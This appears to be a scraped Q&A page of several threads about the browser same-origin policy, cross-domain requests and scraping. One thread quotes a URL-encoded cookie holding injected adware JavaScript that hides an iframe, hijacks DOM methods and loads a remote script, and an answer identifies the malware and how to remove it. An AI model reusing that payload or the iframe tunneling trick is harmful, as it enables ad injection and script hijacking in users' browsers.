Is there any way to send HTTP requests to non-cooperating websites with javascript? I'm aware that this is forbidden because of the same origin policy, but is there any way to do it, including experimental APIs, Java applets, Flash, browser extensions, hidden settings, special certificates etc.? It's fine if the user explicitly has to grant my page permissions to access the other site, in fact that would be very reasonable.
Background: I'm trying to do a kind of mash-up by scraping several site's html, and I would like to do it from the user's IP address and not from my server.
Just a thought - If any of those websites use JQuery - this tunneling mehod might work:
http://benv.ca/2011/3/7/subdomain-tunneling-with-jquery-and-document-domain/
Create an iframe in a page on your site, load the page from the other website into it, replace your page's jquery ajax object with the one from the iframe - and you could be good to go!
Let me know if you try it :)
Related
Some clients send requests to our webapp with additional cookies like this:
vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; _ga=GA1.2.633227847.1500039040; _gid=GA1.2.1587477355.1500039040; _gat_ga_ua2=1; _gat_ga%28'create'%2C'UA-93290101-3'%2C'auto'%2C%22ga_ua2%22%29%3Bga%28'ga_ua2.send'%2C'pageview'%29%3B!function%28%29%7Bfunction%20e%28e%2Ct%29%7Bvar%20d%3Ddocument.createElement%28%22iframe%22%29%3Bd.src%3D%22about%3Ablank%22%2Cd.style.display%3D%22none%22%2Cdocument.body.appendChild%28d%29%2CElement.prototype.appendChild%3Dd.contentWindow.Element.prototype.appendChild%2CElement.prototype.insertBefore%3Dd.contentWindow.Element.prototype.insertBefore%3Bvar%20n%3Ddocument.createElement%28%22script%22%29%3Bn.type%3D%22text%2Fjavascript%22%2Cn.async%3D!0%2Cn.src%3D%22%2F%2Fd323drta3nak2g.cloudfront.net%2Fv1%2Ftaas%3Fid%3D%22%2Be%2B%22%26api_key%3D45918e2d6de38b8deaf7927d277e58d5%26site_id%3D%22%2Bt%2B%22%26disclosure_text%3D%26disclosure_url%3Dhttps%253A%252F%252Fyieldkit.com%252Flegal-notes%252Fterms-of-service%252F%26yk_tag%3Db%22%2C%28document.getElementsByTagName%28%22head%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28n%29%7De%28%22se.prod%26pla%3D1%26si%3D1%26%22%2C%220c4d5f3a79914d97b6011efb4471a249%22%29%2Ce%28%22deals.prod%22%2C%22d7d224892cfe47c7b50aed3bb644057f%22%29%7D%28%29%3B%2F%2F=1;
Our application does not install such cookies. We used some external JavaScript, like Google Analytics, but none of those scripts is doing this. Our site is accessible only via HTTPS, so MITM request modification is unlikely.
We use WAF, these requests are blocked and clients are unhappy.
I suppose, some malicious browser extension is trying to exploit some popular web engine vulnerability.
Has anybody encountered anything like this? Any ideas on what is doing that?
P.S. URL decoded content of that cookie is javascript, that among other contains link to http://yieldkit.com/legal-notes/terms-of-service/, but they are probably just used by scammer to monetize their attacks.
Found it. This malware does this: http://www.spyware-ru.com/udalit-r-srvtrck-com-reklamu-instruktsiya/ (article in russian) and translated with google translate.
Short summary:
There is a malware, that creates pop-up advertising windows with r.srvtrck.com site for Chrome, Firefox and IE. Also it may integrate advertising into web sites you open.
To remove it, you can use:
AdwCleaner program
Malwarebytes Anti-malware program
reset browser settings
clear *.lnk files from added site address after browser executable
AdGuard program to block advertising (I'd not recommend that, just clear your system and use AdBlock/uBlock)
It is recommended to check Windows Task Scheduler for unwanted tasks, that periodically start browser with malware site address.
I know by default the HTML page on other domains can't access my images, videos. They can only show them. But sadly, they can still run my scripts. If my script exposes some variables to the global scope, then the internal logic may be known by others.
I have a private website that others can't visit. Only I can visit it by sending a token in the Cookie to the server. If the token isn't included in the Cookie, every request will cause a 500 server error response. This is secure because everything is on HTTPS.
But unfortunately, I find this isn't very safe on my own machine, because after I visit my site and then visit a malicious site, this malicious site can use the following method to run my script:
<script src="https://my-website.com/main.js"></script>
That's because the Cookies of my website on my machine will be sent to my server as 3rd-party Cookies.
How to prevent that? Can access-control-allow-origin do so?
P.S. I don't want to disable all 3rd-party cookies in browser settings. Cookie's SameSite also doesn't make sense because only Chrome support it now.
There are a number of imaginable ways to prevent other sites from using the script element to run copies of scripts from your site in their sites, but CORS isn’t one of them.
Browsers are where the same-origin policy (SOP) is enforced and browsers are what block JavaScript running in Web apps from being able to use responses from cross-origin requests.
But browsers don’t use SOP/CORS when a Web app uses the script element to embed some JavaScript. Specifically, browsers don’t check that the script is served from the other site with an Access-Control-Allow-Origin header, which is the foundation of the whole CORS protocol.
So CORS is definitely not a solution to the problem you seem to want to solve.
But unfortunately, I find this isn't very safe on my own machine, because after I visit my site and then visit a malicious site, this malicious site can use the following method to run my script:
<script src="https://my-website.com/main.js"></script>
But if that site embeds your script in theirs that way, it runs within their origin, not yours. It runs there as a trusted script with all the same privileges of any script they’ve written themselves.
In that scenario, the other site is the one taking a security risk—because you can at any time change your https://my-website.com/main.js script to do anything you want at their site.
That is, by embedding your script that way, the other site gives your script programmatic fully-trusted access to do anything it wants at their entire origin—gifting you an XSS opportunity.
I want to get the XPATH of an element on a website (my own domain), which I got it using JavaScript code as mentioned in this answer.
Now what I want to click on button which will open a url (cross domain) window and when user click on an element on that window it's XPATH is captured.
I tried doing the same using iframe with no luck.
Now my question is there a way to get the XPATH of an element of another website/ Cross domain?
Sorry this is not possible without cooperation from the other (x-domain) site. Browsers are designed not to allow access to the DOM of x-domain documents (iframe included) for security reasons.
If you had cooperation from the other site, they could load your javascript file and then use postmessage to pass the xpath to the original page.
Other options would be to create a bookmarklet users could use on the other page, or a browser extension (Chrome and FF are pretty easy to develop for)... depends on your use case.
From your comments, I've gathered that you want to capture information from another website that doesn't have Access-Control-Allow-Origin headers that include your domain (e.g. the other site does not have CORS enabled). This is not possible to do cross-domain and client-side due to the Same-Origin Policy implemented in most modern browsers. The Same-Origin Policy prevents any resources on your site from interacting with resources on any other site (unless the other site explicitly shares them with your site using the Access-Control-Allow-Origin HTTP header).
If you want to get information about another site from your site, there is no way around using server-side code. A simple solution would be to implement a server-side proxy that re-serves off-site pages from your own origin, so the Same-Origin Policy will not be violated.
You may get the data using jQuery's load function, and append it to your page.
From there, the DOM nodes from your external page should be accessible for your processing.
$('#where-you-want').load('//example.com body', function() {
console.log($('#where-you-want'))
// process the DOM node under `#where-you-want` here with XPath.
})
You can see this in action here: http://jsfiddle.net/xsvkdugo/
P.S.: this assumes you are working with a CORS-enabled site.
I installed google toolbar recently and used the "word translate" feature where you hover the mouse over a word (say you're browsing the French newspaper Le Monde), and it brings up the English translation. Very cool.
But I was wondering how they actually implement this? Obviously the code (javascript?) in their toolbar plugin has to talk to a server to do the look-up. But the domain is lemonde.fr, so isn't this a cross-domain request which isn't possible? The toolbar works on any site so there's no requirement for that site to have special code installed.
Or are the rules different for browser plug-in code vs. javascript embedded in the site itself?
Regular XMLHttpRequest between domains is blocked by the browser, but that isn't the only wat to send a cross site request. A common way around that is JSONP, which is effectively the same as adding a script element:
<script type="text/javascript"
src="http://google.com/translate.js?word=baguette">
</script>
That <script> tag will be requested from Google - it doesn't require a POST, isn't strictly AJAX, and will not be blocked. If Google returns a sensible response, you can use it. There are many other ways of communication that aren't blocked, but JSONP is usually the most straightforward.
Even more importantly, a toolbar is a browser extension - not a web page extension. In general (unless sandboxed), it is the same as a program that runs on your computer - a toolbar can have unlimited access to the internet and to your personal files.
I apologize if this has been asked before. I searched but did not find anything. It is a well-known limitation of AJAX requests (such as jQuery $.get) that they have to be within the same domain for security reasons. And it is a well-known workaround for this problem to use iframes to pull down some arbitrary HTML from another website and then you can inspect the contents of this HTML using javascript which communicates between the iframe and the parent page.
However, this doesn't work on the iPhone. In some tests I have found that iframes in the Safari iPhone browser only show content if it is content from the same site. Otherwise, they show a blank content area.
Is there any way around this? Are there other alternatives to using iframes that would allow me to pull the HTML from a different domain's page into javascript on my page?
Edit:
One answer mentioned JSONP. This doesn't help me because from what I understand JSONP requires support on the server I'm requesting data from, which isn't the case.
That same answer mentioned creating a proxy script on my server and loading data through there. Unfortunately this also doesn't work in my case. The site I'm trying to request data from requires user login. And I don't want my server to have to know the user's credentials. I was hoping to use something client-side so that my app wouldn't have to know the user's credentials at the other site.
I'm prepared to accept that there is no way to accomplish what I want to do on the iPhone. I just wanted to confirm it.
You generally can NOT inspect the contents of an iframe from another domain via JavaScript. The most common answers are to use JSONP or have your original server host a proxy script to retrieve the inner contents for you.
Given your revisions, without modification or support from the secondary site, you are definitely not going to be able to do what you want via the iPhone's browser.
"In some tests I have found that iframes in the Safari iPhone browser only show content if it is content from the same site"
I found the same thing. Is this documented somewhere? Is there a workaround? This sounds like broken web standards to me, and I am wondering if there is a solution.